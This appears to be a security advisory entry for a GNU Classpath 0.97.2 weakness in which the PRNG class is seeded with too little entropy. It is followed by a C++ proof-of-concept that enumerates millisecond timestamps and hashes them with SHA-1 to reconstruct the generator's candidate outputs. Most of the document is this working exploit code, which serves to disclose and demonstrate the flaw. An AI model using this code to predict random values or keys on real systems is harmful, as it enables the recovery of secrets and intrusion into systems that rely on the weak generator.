GNU Classpath 0.97.2 'gnu.java.security.util.PRNG' Class Entropy Weakness (2)

source: http://www.securityfocus.com/bid/32909/info GNU Classpath is prone to a weakness that may result in weaker cryptographic security because its psuedo-random number generator (PRNG) lacks entropy. Attackers may leverage this issue to obtain sensitive information that can lead to further attacks. Classpath 0.97.2 is vulnerable; other versions may also be affected. #include <botan/init.h> #include <botan/sha160.h> #include <botan/loadstor.h> using namespace Botan; #include <cstdlib> #include <ctime> int main(int argc, char* argv[]) { Botan::LibraryInitializer init; // by default start with a guess of 1 minute ago u64bit time_guess = (std::time(0) - 60); time_guess *= 1000; // convert to ms u32bit how_many = 60000; // 60 second range by default if(argc >= 2) how_many = std::atoi(argv[1]); if(argc >= 3) time_guess = std::atoi(argv[2]); //printf("Starting from %lld up to %d\n", time_guess, how_many); SHA_160 sha; byte buf[8], hash[40]; for(u32bit i = 0; i != how_many; ++i) { Botan::store_be(time_guess, buf); // First block sha.update(buf, sizeof(buf)); sha.final(hash); sha.update(buf, sizeof(buf)); sha.update(hash, 20); // previous output sha.final(hash + 20); /* printf("seed=%lld hash=", time_guess); for(u32bit j = 0; j != sizeof(hash); ++j) printf("%02X", hash[j]); printf("\n"); */ ++time_guess; // move to next ms } }